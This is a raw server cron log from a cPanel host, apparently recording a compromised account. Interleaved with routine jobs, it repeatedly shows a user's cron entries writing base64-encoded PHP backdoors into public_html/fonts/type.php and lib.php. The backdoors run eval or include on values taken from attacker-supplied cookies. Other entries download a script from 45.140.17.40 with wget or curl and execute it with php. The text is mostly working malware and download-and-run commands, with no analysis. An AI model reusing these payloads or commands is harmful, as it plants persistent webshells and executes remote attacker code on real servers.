Sep 21 23:01:01 ip-184-168-122-23 CROND[32513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:01:01 ip-184-168-122-23 CROND[32514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:01:01 ip-184-168-122-23 CROND[32516]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 23:01:01 ip-184-168-122-23 CROND[32515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32523]: finished 0anacron
Sep 21 23:02:01 ip-184-168-122-23 CROND[32687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:02:01 ip-184-168-122-23 CROND[32689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:02:01 ip-184-168-122-23 CROND[32690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:02:01 ip-184-168-122-23 CROND[32692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:02:01 ip-184-168-122-23 CROND[32693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:03:01 ip-184-168-122-23 CROND[333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:03:01 ip-184-168-122-23 CROND[336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:03:01 ip-184-168-122-23 CROND[339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:03:01 ip-184-168-122-23 CROND[338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:04:01 ip-184-168-122-23 CROND[445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:04:01 ip-184-168-122-23 CROND[447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:04:01 ip-184-168-122-23 CROND[448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:04:01 ip-184-168-122-23 CROND[450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:04:01 ip-184-168-122-23 CROND[449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:05:01 ip-184-168-122-23 CROND[567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:05:01 ip-184-168-122-23 CROND[569]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 23:05:01 ip-184-168-122-23 CROND[570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:05:01 ip-184-168-122-23 CROND[573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:05:01 ip-184-168-122-23 CROND[572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:05:01 ip-184-168-122-23 CROND[574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:05:01 ip-184-168-122-23 CROND[571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:06:01 ip-184-168-122-23 CROND[767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:06:01 ip-184-168-122-23 CROND[772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:06:01 ip-184-168-122-23 CROND[770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:06:01 ip-184-168-122-23 CROND[771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:06:01 ip-184-168-122-23 CROND[769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:07:01 ip-184-168-122-23 CROND[877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:07:01 ip-184-168-122-23 CROND[879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:07:01 ip-184-168-122-23 CROND[882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:07:01 ip-184-168-122-23 CROND[883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:08:01 ip-184-168-122-23 CROND[1083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:08:01 ip-184-168-122-23 CROND[1088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:08:01 ip-184-168-122-23 CROND[1085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:08:01 ip-184-168-122-23 CROND[1089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:08:01 ip-184-168-122-23 CROND[1086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:09:01 ip-184-168-122-23 CROND[1264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:09:01 ip-184-168-122-23 CROND[1266]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 23:09:01 ip-184-168-122-23 CROND[1269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:09:01 ip-184-168-122-23 CROND[1272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:09:01 ip-184-168-122-23 CROND[1275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:10:01 ip-184-168-122-23 CROND[1459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:10:01 ip-184-168-122-23 CROND[1460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:10:01 ip-184-168-122-23 CROND[1462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:10:01 ip-184-168-122-23 CROND[1465]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 23:10:01 ip-184-168-122-23 CROND[1468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:10:01 ip-184-168-122-23 CROND[1466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:10:01 ip-184-168-122-23 CROND[1474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:10:01 ip-184-168-122-23 CROND[1473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:11:01 ip-184-168-122-23 CROND[1577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:11:01 ip-184-168-122-23 CROND[1578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:11:01 ip-184-168-122-23 CROND[1579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:11:01 ip-184-168-122-23 CROND[1580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:12:01 ip-184-168-122-23 CROND[1684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:12:01 ip-184-168-122-23 CROND[1686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:12:01 ip-184-168-122-23 CROND[1687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:12:01 ip-184-168-122-23 CROND[1688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:12:01 ip-184-168-122-23 CROND[1689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:13:01 ip-184-168-122-23 CROND[1867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
